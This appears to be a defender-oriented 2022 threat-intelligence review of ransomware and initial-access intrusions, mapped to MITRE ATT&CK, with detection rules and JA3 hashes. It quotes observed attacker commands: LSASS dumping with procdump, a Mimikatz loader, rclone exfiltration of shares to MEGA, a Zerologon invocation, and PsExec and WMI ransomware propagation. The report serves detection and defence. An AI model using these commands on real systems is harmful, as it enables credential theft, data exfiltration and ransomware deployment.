Year in Review

2022 Year in Review

March 6, 2023

As we move into the new year, it's important to reflect on some of the key changes and developments we observed and reported on in 2022. This year's year-in-review report looks at the types of intrusions that have been most prevalent and the malware we have come across. We'll also look at some of the most commonly used tactics, techniques, and procedures threat actors use to infiltrate networks, and provide predictions on what we expect to see in the coming year based on data-driven analysis.

This report contains aggregate data from all of our public reporting for the year 2022. Although we have taken precautions and have done our best to remain unbiased, we acknowledge that summary reports such as this may include potential sources of bias that might have been introduced during data collection and only serve as a sample of the wider threat landscape.

Analysis and reporting by @iiamaleks, @kostastsale, & @samaritan_o

Reviewed by @svch0st & UC1

Services

We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, Metasploit, Empire, PoshC2, etc. More information on this service can be found here.

Our All Intel service includes long term infrastructure tracking, clustering, C2 configs, and other curated intel, including non-public case data.

If you are interested in hearing more about our services, our would like to talk about a free trial, please reach out to us using the Contact Us page. We look forward to hearing from you.

Intrusion statistics aligned to the MITRE ATT&CK

Initial Access

Over the past year, we have observed multiple intrusions with a majority acting as the entry point for data exfiltration and cyber extortion operations. Most of our cases that result in public reporting focus on ransomware operations and the malware they leverage to attain access. The numbers below do not account for the various RDP brute forces and exploit cases that did not make it to public reporting.

The following summarizes the various initial access techniques observed in our cases:

Similar to 2021, in 2022, a majority of our cases originated from mass email campaigns that aim to spread malware to various organizations. However, one of the biggest shifts in this space has been the discontinuance of Macro usage in Word and Excel files due to Microsoft's decision to disable macros on files downloaded from the internet.

Threat actors quickly reacted and began shifting to the usage of ISO and ZIP files containing LNK shortcuts to execute initial payloads. We have observed a declining usage of Word and Excel files, however, we observed some malware families delivering Word documents weaponized with exploits such as CVE-2022-30190. Many malware families that previously relied on macros have begun to migrate over to ISO and ZIP files packaging malicious LNK or script files.

The below graphic displays the tools/methods used by threat actors after getting initial access via the initial access malware listed above.

On the other hand, a few of our cases focused on non-phishing related initial access vectors. One of the most notable is Gootloader, which infects users via compromised websites that are infected to boost rankings on search engines via SEO poisoning. In addition, this past year we have also observed the exploitation of Microsoft Exchange via ProxyShell and Manage Engine Support Center Plus.

- Exchange Exploit Leads to Domain Wide Ransomware

- PHOSPHORUS Automates Initial Access Using ProxyShell

Finally, we had one case involving the brute force of an internet accessible SQL Server that led to a network compromise. Cases with a non-phishing means of initial access, such as exploitation and RDP brute forcing, may not always result in ransomware. Such intrusions may have other motivations, including pure data theft, deployment of cryptomining software, jump point for another intrusion, or scams.

Execution

Threat actors are leveraging the operating system functionality, and built-in tools, in a multitude of ways, to achieve execution on the host. The following summarizes the execution capabilities observed in our reports.

Due to the disproportional amount of phishing cases we reported, the technique associated with “Malicious File – T1204.002” is at the top of the list.

The following will cover a few of the TTPs that occur on a frequent basis:

PowerShell

PowerShell continues to be a favorite among threat actors for its flexibility and ability to stay in memory. There are some very common tasks that threat actors have been observed using PowerShell for, however, in general, due to its versatility, PowerShell can be used to achieve many different tasks. For this reason, it is important for organizations to ensure they have visibility into how PowerShell is being used in their environment. This can be achieved through Endpoint Protection & Response (EDR) solutions or by leveraging a SIEM tool to analyze PowerShell host-related logs, such as those from PowerShell logging events.

Some common PowerShell use cases include:

WMI

We have observed WMI in a large number of cases for various tasks. WMI is very flexible and has been used for enumeration, lateral movement, and persistence.

Remote Services

We have observed continued usage of remote services created for the purpose of lateral movement and privilege escalation. These services are created to be run once as SYSTEM, and execute the threat actors' payload. This is common among Cobalt Strike lateral movement capabilities. However, we have also observed other payloads being run, such as Sysinternals Procdump.

DLL Execution

DLLs are a very common way for threat actors to package their payloads for execution, this includes payloads related to malware such as IcedID, Emotet and Cobalt Strike beacons. The two most common ways threat actors execute exports from these DLLs is via `rundll32` and `regsvr32`.

Persistence

We observed many different persistence techniques in 2022. Two of the most commonly seen are the creation of scheduled tasks, and the creation of local administrative accounts. A few of the cases also had more uncommon means of persistence, such as WMI Event Subscriptions and IFEO injection observed in "SELECT XMRig FROM SQLServer".

There are some benefits to separating the persistence we see at the start of an intrusion, and the persistence observed later in the intrusion.

Early Stage Persistence

The early-stage persistence is related to the malware families that facilitate initial access to an environment or exploits the target's internet facing services. Most often, we observe the initial access malware persist on the system via Registry Run Keys or a Scheduled Task and exploitation attempts usually left web shells, which were accessible via the internet.

Emotet and Ursnif were observed using Run Keys for persistence. Emotet was seen copying a DLL into the user's AppData folder and executing it with rundll32, while Ursnif used a Run Key to execute a PowerShell script via a LNK file.

IcedID, Qbot, and Gootloader have all been observed making use of Scheduled Tasks to execute their payloads after the main execution of the malware.

Lastly, the creation of web shells were observed during the exploitation of internet facing services in PHOSPHORUS Automates Initial Access Using ProxyShell and Will the Real Msiexec Please Stand Up? Exploit Leads to Data Exfiltration.

Late Stage Persistence

Late stage persistence takes place after the initial compromise and does not have a set time frame. While the early stage persistence targets the beachhead of the intrusion, later stage persistence may be present in other areas of the network the threat actor moved to laterally.

In 2022, we saw the rise of various Remote Access Software tools, such as AnyDesk and Atera. Threat actors take advantage of these tools to go undetected due to their innocuous nature. In some cases, organizations utilize these remote access tools to administer their organization. This allows threat actors to blend in. MITRE does not categorize Remote Access Software as a means of persistence, however, this could be a suggested entry as this software has the ability to persist a reboot and allow threat actors to persist in the environment via the startup service it creates (T1569.002).

Privilege Escalation

The primary objective of a threat actor will always be to get the highest privileges needed to accomplish their goal(s). We examined a variety of methods used to achieve this goal. These methods range from using legitimate accounts to setting up scheduled tasks and using certain vulnerabilities that, if exploited, could provide the threat actors with privileged permissions.

The statistics of the TTPs utilized for privilege escalation are shown in the graphic below:

We observed the use of known CVEs during our reports in 2022, allowing the various TAs to have privileged access on the compromised machines. These vulnerabilities are designated as `CVE-2020-1472` (Zerologon) and `CVE-2021-44077` (referring to ManageEngine SupportCenter Plus), respectively.

In the Qbot and Zerologon Lead To Full Domain Compromise report we saw `ZeroLogon` and in the Will the Real Msiexec Please Stand Up? Exploit Leads to Data Exfiltration report we saw the RCE for SupportCenter Plus:

Zerologon

```
C:\Windows\system32\cmd.exe /C cool.exe [DC IP ADDRESS] [DOMAIN NAME] Admini
```

ManageEngine SupportCenter Plus

Scheduled Task

In order to assist the initial or ongoing execution of malicious code, adversaries may make use of task scheduling features. All popular operating systems provide tools for scheduling scripts or programs to run at a given time and date. If the appropriate authentication requirements are satisfied, a task can also be scheduled on a remote machine. Although, being a privileged user is usually required to accomplish that.

The report Qbot Likes to Move It, Move It provides an illustration of this circumstance:

```
"schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn juqpxmakfk /tr "regsvr3
```

Defense Evasion

After discovery, defense evasion was the second most prevalent category for a number of techniques reported in 2022. However, the vast majority follow many of the same themes.

Process injection led the way in this category. Process injection was used both by initial access malware like Qbot, and as even more commonly observed, used by post-exploitation tools.

Process injection by Qbot into msra.exe from Qbot Likes to Move It, Move It.

Sysmon Event ID 8 logs showing Cobalt Strike injection from Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware

Cobalt Strike injected process using YARA signatures from BumbleBee Zeros in on Meterpreter

Injected Cobalt Strike from Volatility malfind data from the Quantum Ransomware report.

After process injection, another notable category is the pair of techniques T1218.010 and T1218.011, the use of Rundll32 and Regsvr32 as some of the favored tools in use by threat actors to

execute their payloads. Again, like process injection, this can be observed both by initial access malware and later post-exploitation tools.

For example, we can see Regsvr32 being utilized both in execution of the IcedID malware and later on to execute the ransomware binary from Stolen Images Campaign Ends in Conti Ransomware.

And in that same case, the scheduled task used Rundll32 to execute the IcedID payload.

```
<Exec>
      <Command>rundll32.exe</Command>
      <Arguments>"C:\Users\REDACTED\AppData\Local\{C904416E-A880-3136-ED72-A
</Exec>
```

As mentioned in the initial access section, we observed the move away from various macro initial access files like Word and Excel and the beginning of utilizing file formats which bypass the Mark-

of-the-Web such as ISO, IMG, VHD, etc. The Bumblebee malware was a trail blazer in this, three different reports utilized ISO files with LNK and DLL files contained within.

- BumbleBee Roasts Its Way to Domain Admin
- BumbleBee: Round Two
- BumbleBee Zeros in on Meterpreter

We also observed IcedID using this technique as well.

- Quantum Ransomware

We expect to see continued use of this technique going forward as initial access brokers continue to evolve alongside new security controls.

Credential Access

One of the primary goals of a threat actor is to get privileged credentials. This enables the attackers to progress their intrusion and pivot within the network.

Here's a look at the most common techniques we saw in 2022:

We will get deeper into the `lsass` and `kerberoasting` approaches later, but for now, we just want to highlight how many different ways there are to acquire administrator credentials. The usage of mimikatz and in particular programs like `LaZagne`, which are used to dump numerous items (browsers, LSA secret, hashdump, Keepass, WinSCP, RDPManager, OpenVPN, Git, etc.), are unquestionably among the most common methods.

The "SEO Poisoning – A Gootloader Story" report has an illustration of such use:

Mimikatz

```
$u=('http://127.0.0.1:22201/'|%{(IRM $_)});$u|&(GCM I*e-E*); Import-Module C
```

LaZagne

```
ls.exe all -oN -output C:\Users\REDACTED
```

LSASS

The LSASS process is the number one target for threat actors because it contains various credentials. If the compromised account has the required privileges, LSASS can be dumped or accessed using several tools. It is easy to see how having the ability to dump the memory contents of this process allows the attacker to obtain the privileged passwords contained inside it. While the

LSASS process is always the target, threat actors use a variety of tools to get at the credentials within. These strategies can range from the use of third-party frameworks like Cobalt Strike (described here), or system utilities like the Task Manager, to administrative tools like Sysinternals ProcDump.

The report "BumbleBee Zeros in on Meterpreter" contains an example of utilizing ProcDump for LSASS dump:

```
procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp
```

The use of a framework such as Cobalt Strike may be noticed inside the "Dead or Alive an Emotet story" report:

```
EventID: 10
SourceImage: C:\Windows\system32\SearchIndexer.exe
TargetImage: C:\Windows\system32\lsass.exe
GrantedAccess: 136208
CallTrace:
C:\Windows\SYSTEM32\ntdll.dll+9d1e4|C:\Windows\System32\KERNELBASE.dll+2bcbe
```

Kerberoasting

The Kerberoasting technique can be used to target and crack weak passwords of service accounts. Threat actors utilize a valid Kerberos ticket-granting ticket (TGT) to request a valid ticket-granting service (TGS) ticket. With this ticket the threat actors can try various offline brute forcing tools to crack the service account password. If cracked, these service accounts may have more privileged access allowing the threat actors to escalate their privileges in an enterprise network.

The report "Dead or Alive an Emotet story" showcased this technique:

In this specific instance, we can see how the PowerSploit framework's `Invoke-Kerberoast` utility is being used.

Discovery

Upon initial access, threat actors use discovery techniques to gain an understanding of the environment in which they have accessed. This can include gathering information on the network, running scans, and enumerating users and groups. The information below will focus on some of the most notable tools and commands we observed from our intrusions this past year.

The data above shows the command and record count of various discovery commands used by threat actors in our reports from 2022. Looking at the data we have collected for the past year, it is clear that the most commonly used commands are the ones that leverage Windows binaries to gather information about the host and network, such as IP addresses, active connections, and system-related information.

Some commands, like the net and nltest, are used to collect information on network resources accessible from the compromised host. The reason behind the high count of these commands is that they are run by both Hands-On-Keyboard operators and as part of automated execution by malware upon the initial infection.

An exception to the above is AdFind, which is a command-line Active Directory query tool that we've seen over the years.

AdFind

We observed AdFind in eight out of the 13 cases we reported. An interesting observation is that in almost all of the cases, the threat actors used the same command line parameters to display the same Active Directory objects. The files' names have been the same in cases where the output was redirected to a text file on disk. The majority of the time, attackers run ADFind using a batch script that includes all of the tool's various executions based on the intended result. Below is a screenshot from our Quantum Ransomware case with the common executions of the tool as described.

With the above commands, threat actors can specify different criteria and object classes to view various Active Directory objects. After collecting such information, threat actors can map the network and explore misconfigurations. A good example is the user description attribute, which may contain sensitive information such as a temporary password that has not been changed.
The graph below shows all the different payload names we have seen AdFind in the past year.

Invoke-ShareFinder

Another tool that we often came across was Invoke-ShareFinder. Because of how often we see this tool being used, we created a report to help defenders detect and hunt for it. We also showcased the

tool's features and why threat actors keep using it. You can find the report here. In short, Invoke-ShareFinder allows attackers to enumerate file shares, looking for sensitive data that may be used to further access or target for exfiltration.
Example execution:

```
Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\
```

Lateral Movement

Lateral movement is a crucial part of the attack lifecycle for threat actors. They use it to spread malware, get access to sensitive areas of the network, and to access private data, systems, and services.
Below are the most common lateral movement methods we observed in our intrusions last year.

RDP and SMB/Windows Admin Shares top the list around 41% each.

Remote Desktop Protocol

It is not surprising that attackers prefer the interactive graphics interface RDP provides. Such access allows them to search for sensitive documents or any other information without setting off any alerts. We can see from the cases, particularly those involving Cobalt Strike, that threat actors use a reverse proxy to tunnel their connections through the C2 server. More information about this technique can be found in our second report on Cobalt Strike, "Cobalt Strike, a Defender's Guide – Part 2".

When a connection is established, event ID 4624 LogonType 10 of the security event log can provide us with the name of the remote host that initiated the connection.

This same data can show up in other logs like Event ID 4778 under Security as observed from Quantum Ransomware.

Threat actors then use the beachhead host to RDP to other hosts in the environment, assuming they have obtained the necessary access.

SMB Access

SMB access remains one of the most reliable methods to achieve execution on the remote host. We have seen a combination of ways malicious operators copy a tool over to the remote host and then use Cobalt Strike to run it. The tools they transfer to the remote hosts range from remote administration tools, such as Atera agent, to Cobalt Strike beacons and ransomware payloads.

An example of a recent case where an executable was transferred over SMB is the case "Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware".

We saw the threat actors create and run a beacon DLL on the target host. The execution was via Cobalt Strike and was initiated by the beachhead host.

```
C:\Windows\System32\cmd.exe /c rundll32.exe C:\ProgramData\x86.dll, StartA
```

This provided the threat actors with SYSTEM access that they could further leverage to access additional credentials or use the session as a backup in case they lost their primary access. In some cases, operators leveraging access from certain malware families use the same methods to move laterally; one example of this is the post-exploitation activities following Bumblebee malware infections(1,2,3). These operators apparently favored the remote creation and execution of the remote administration tool AnyDesk using SMB connections.

According to our data, other methods such as Windows Remote Management, pass-the-hash and remote service creation were used, but less frequently compared to the previous techniques.

Collection

In the reported cases from the prior year, we recorded 5 different techniques utilized by threat actors.

In one of the earliest reports from the year, we observed Qbot continue to steal email inboxes from infected systems for use in later campaigns. This is most often observed in logs via the threat actors' removal of the temporary location of the export of the infected users inbox.

In a majority of our cases threat actors performed actions related to network shares however, many times these actions focused on simply finding the data and exfiltrating it. Although, in two reports last year we observed threat actors manually reviewing share data while still in the network, allowing a defender to see what data was accessed by the threat actors.

Example from SEO Poisoning – A Gootloader Story

Example from Bumblebee: Round Two

We also observed at least one threat actor utilize archive utilities before exfiltrating data, as seen in this LSASS dump; also from Bumblebee: Round Two.

```
C:\Program Files\Windows Mail\wabmig.exe
  → C:\Windows\system32\cmd.exe /C copy \\<REMOTE_WORKSTATION>\C$\ProgramDa
  → C:\Windows\system32\cmd.exe /C 7za.exe a -tzip -mx5 c:\programdata\lsas
```

Command and Control

Intrusions overwhelmingly favored two MITRE techniques, T1071.001 Web Protocols and T1219 Remote Access Tools.

Looking a little closer at the tools used, there was a pretty even split with Initial Access Broker (IAB) malware, Red Team or Offensive Security Tools (OST), and Remote Access Software.

Diving into specifics of each tool we see that Cobalt Strike remained at the top of the post-exploitation C2 tool that threat actors used in 2022.

Seeing the impact Cobalt Strike has, we released Cobalt Strike, a Defender's Guide – Part 1 & Part 2 in the hopes of helping defenders create detections and to highlight some of the most commonly

used capabilities.
In two cases(1,2), Meterpreter agents were installed alongside Cobalt Strike beacons.

Image is taken from BumbleBee Zeros in on Meterpreter case

For remote access tools used as a means of C2, Anydesk topped the statistics. While most remote access tools utilize TLS/SSL, data can still be found to inform use in the environment. Anydesk, for instance leaves logs in the user's AppData and C:\ProgramData that can inform threat actor usage.

Like in Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware you can locate the login IP of the threat actor utilizing the Anydesk tool.

In this same case, we saw not just one, but multiple remote access tools with TacticalRMM/MeshCentral being used in tandem with Anydesk.

From a network monitoring perspective, we can see this type of activity by reviewing dns and TLS/SSL data, like this example from Stolen Images Campaign Ends in Conti Ransomware where the many DNS connections from the Splashtop Streamer tool would be easily detected in network traffic or DNS logs.

Exfiltration

Threat Actors see data exfiltration as a gold mine since they can use the data to extort the victim and/or sell it. In our reports, we cited five instances of exfiltration. This behavior was specifically observed in reports mentioning Emotet (1,2), Qbot (1,2), and Phosphorus (1).
In the aforementioned instances, the exfiltration was accomplished using tools like Rclone or frameworks like Cobalt Strike. The usage of the RDP protocol was once cited in Will the Real Msiexec Please Stand Up? Exploit Leads to Data Exfiltration as a method of data exfiltration.

Rclone exfiltration

In Dead or Alive? An Emotet Story , the threat actor first created a copy of the relevant files before uploading them to MEGA. An example is given below:

```
rclone.exe, copy, \\REDACTED\Shares, mega:Shares, -q, --ignore-existing, --a
```

As seen in the Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware report, we can see how the threat actor used Rclone and MEGA:

```
rclone.exe  copy "\\SERVER.domain.name\path" mega:1 -q --ignore-existing --a
rclone.exe  copy "\\SERVER.domain.name\path" mega:2 -q --ignore-existing --a
```

Command and Control exfiltration

We were able to draw attention to the attacker's skill in creating a .zip file containing LSASS in the PHOSPHORUS Automates Initial Access Using ProxyShell report so that it could be exfiltrated and processed (presumably) offline. In this instance, a web shell was used to carry out the exfiltration:

In the Qbot and Zerologon Lead To Full Domain Compromise report, we were able to see the threat actor exfiltrate data using Cobalt Strike.

Impact

As threat actors are not always successful in completing their objectives, it can result in our data set having visibility gaps for the Impact tactic. This may be caused by various reasons, the threat actors may be evicted, the environment may not align with their goals, they may be unable to escalate to a high enough privilege to complete their objective or the threat actors stole data but did not encrypt

the environment. That being said our data set still has Data Encrypted for Impact – T1486 as the most common impact technique.

- Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware
- Quantum Ransomware
- Stolen Images Campaign Ends in Conti Ransomware

In the cases we observed ransomware deployment a combination of SMB was used with either WMI or PsExec. SMB is generally used for the propagation of the ransomware payload to target hosts, while WMI or PsExec are used to execute the ransomware payload.

In a Quantum ransomware case early last year PsExec and WMI where seen being used:

```
psexec.exe  \\<IP ADDRESS> -u <DOMAIN>\Administrator -p "<PASSWORD>" -s -d
```

```
wmic /node:"<IP ADDRESS>" /user:"<DOMAIN>\Administrator" /password:"<PASSWOR
```

In a later Quantum ransomware case we observed the propagation mechanism was built into the ransomware binary.

```
rundll32.exe locker.dll,run /TARGET=\\HOST1.DOMAIN.NAME\C$
/TARGET=\\HOST2.DOMAIN.NAME\C$ /TARGET=\\HOST3.DOMAIN.NAME\C$
/login=DOMAIN\Administrator /password=[REDACTED] /nolog /shareall
```

Commentary

Botnets and Initial Access Brokers

Over 2022, we continued to see strong usage of initial access brokers and botnet malware. We saw the passing of Trickbot and not long afterward BazaarBackdoor too. However, Emotet revived for several campaigns (1)(2) despite the public round up of many of the members of the group and seizure of infrastructure in 2021. Several other malware families continued to work filling the gaps with both Qbot, IcedID, and BumbleBee topping our data. We expect to see continued usage of these brokers over the next year.

Command and Control

While reports are plentiful about the coming dethroning of Cobalt Strike as the preferred command and control platform for threat actors, 2022 was not that year. Cobalt Strike was still utilized for command and control in 53% of all our reports through the year and was the only common Red Team tool utilized other than Meterpreter.

One other trend that may cover several categories including command and control and persistence was the rise in use of legitimate remote access tools. In our reports we saw Anydesk, Atera/Splashtop, and TacticalRMM, but expectations should not be limited to just these tools. Any legitimate remote access software is likely to see threat actor usage as these offer persistent access to a system or network that won't be flagged as malicious. Many organizations have loose or no controls around what remote access tools are allowed for use, and many vendors only offer support by relying on the user to install their preferred remote access software. We expect to see growing use and other remote admin tools utilized more in the coming year.

While the above covers some of the specifics noted in this year's reports the helpful links from last year still hold true as great resources.

- CISA – Ransomware Guide
  - Ransomware Prevention Best Practices
  - Ransomware Response Checklist
- UK NCSC – Mitigating malware and ransomware attacks
  - How to defend organizations against malware or ransomware attacks
- ASD/ACSC – Protect yourself against ransomware attacks
  - How people can protect themselves against ransomware attacks
- Microsoft – Rapidly protect against ransomware and extortion
  - How to protect your organization from ransomware

- Mandiant – Ransomware Protection and Containment Strategies
    - Practical Guidance for Endpoint Protection, Hardening and Containment

Outlook

Our data show no significant change compared to our 2021's "Year in review" report. The tactics, techniques and procedures have mostly stayed the same as the motivations behind the attacks drive the resulting outcomes. Deploying ransomware and exfiltrating sensitive data was the primary goal for most intrusions we reported. The "smash-and-grab" ransomware operations continue to impact organizations of any size.

With every report we publish, we highlight the methods threat actors are using. If organizations apply a defense-in-depth approach, they will likely have more opportunities to detect and/or prevent the threat actors' actions on objectives. Unfortunately, ransomware will not disappear in the upcoming year, but we hope our insights can help teams of affected organizations or those that wish to protect their environments proactively.

Detections

Suricata

The following table represents some of the most common Suricata rules that have been observed in our cases.

Rule Name	Count
ET RPC DCERPC SVCCTL – Remote Service Control Manager Access	7
ET POLICY SMB Executable File Transfer	7
ET POLICY SMB2 NT Create AndX Request For an Executable File	4
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection	3
ET POLICY SMB2 NT Create AndX Request For a DLL File – Possible Lateral Movement	3

ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent	3
ET CNC Feodo Tracker Reported CnC Server group 24	3
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)	3
ET POLICY OpenSSL Demo CA – Internet Widgits Pty (O)	2
ET CNC Feodo Tracker Reported CnC Server group 15	2
ET INFO Generic HTTP EXE Upload Inbound	2
ET CNC Feodo Tracker Reported CnC Server group 9	2
ET CNC Feodo Tracker Reported CnC Server group 8	2
ET CNC Feodo Tracker Reported CnC Server group 20	2
ET MALWARE Cobalt Strike Beacon Activity (GET)	2
ET CNC Feodo Tracker Reported CnC Server group 6	2
ET MALWARE W32/Emotet CnC Beacon 3	2
ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response	2

Sigma

The following table represents some of the most common Sigma rules that have been observed in our cases.

Rule Name	Count
Suspicious Reconnaissance Activity Using Net	5
AdFind Usage Detection	5
CobaltStrike Named Pipe	4
Malicious PowerView PowerShell Commandlets	3
Wdigest Enable UseLogonCredential	3
Atera Agent Installation	3

Suspicious Use of Procdump on LSASS	3
Net.exe Execution	3
Domain Trust Discovery	3
LSASS Memory Dump	2
Suspicious Service Installation	2
LOLBIN From Abnormal Drive	2
Process Dump via Rundll32 and Comsvcs.dll	2
Windows Webshell Creation	2
Net.exe User Account Creation	2
Webshell Detection With Command Line Keywords	2
Suspicious Rundll32 Without Any CommandLine Params	2
Whoami Execution	2
Rare GrantedAccess Flags on LSASS Access	2
Shells Spawned by Web Servers	2
Powershell Defender Disable Scan Feature	2
Recon Activity with NLTEST	2
Scheduled Task Executing Powershell Encoded Payload from Registry	2
Pass the Hash Activity 2	2
SplashTop Process	2
New Lolbin Process by Office Applications	2
Rclone Execution via Command Line or PowerShell	2

Common JA3/S

Below are some of the most common JA3 hashes we observed this year.

Hash	Type	Count	C2 Type
ae4edc6faf64d08308082ad26be60767	JA3	6	Cobalt Strike
a0e9f5d64349fb13191bc781f81f42e1	JA3	6	Cobalt Strike
f176ba63b4d68e576b5ba345bec2c7b7	JA3s	6	Cobalt Strike
61be9ce3d068c08ff99a857f62352f9d	JA3s	4	BumbleBee (Ha-Proxy)
ec74a5c51106f0419184d0dd08fb05bc	JA3s	3	IcedID/Bazar
72a589da586844d7f0818ce684948eea	JA3	2	Cobalt Strike
c424870876f1f2ef0dd36e7e569de906	JA3	2	Bumblebee
0c9457ab6f0d6a14fc8a3d1d149547fb	JA3	2	Bumblebee
76c691f46143bf86e2d1bb73c6187767	JA3s	2	Bumblebee (Likely Proxied)
c12f54a3f91dc7bafd92cb59fe009a35	JA3	2	Bumblebee
ce5f3254611a8c095a3d821d44539877	JA3	2	Meterpreter

MITRE

We end this report with a MITRE chart summary of various tools and techniques that have been observed.

Reports covered in review:

Qbot Likes to Move It, Move It

Qbot and Zerologon Lead To Full Domain Compromise

PHOSPHORUS Automates Initial Access Using ProxyShell

Stolen Images Campaign Ends in Conti Ransomware

Quantum Ransomware

SEO Poisoning – A Gootloader Story

Will the Real Msiexec Please Stand Up? Exploit Leads to Data Exfiltration

SELECT XMRig FROM SQLServer

BumbleBee Roasts Its Way to Domain Admin

Dead or Alive? An Emotet Story

BumbleBee: Round Two

Follina Exploit Leads to Domain Compromise

BumbleBee Zeros in on Meterpreter

Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware

« COLLECT, EXFILTRATE, SLEEP, REPEAT

MALICIOUS ISO FILE LEADS TO DOMAIN WIDE RANSOMWARE »

Search …

Search

Type your email…

Subscribe

Register For Our Next CTF

Reports

Threat Intelligence

Detection Rules

DFIR Labs

Mentoring and Coaching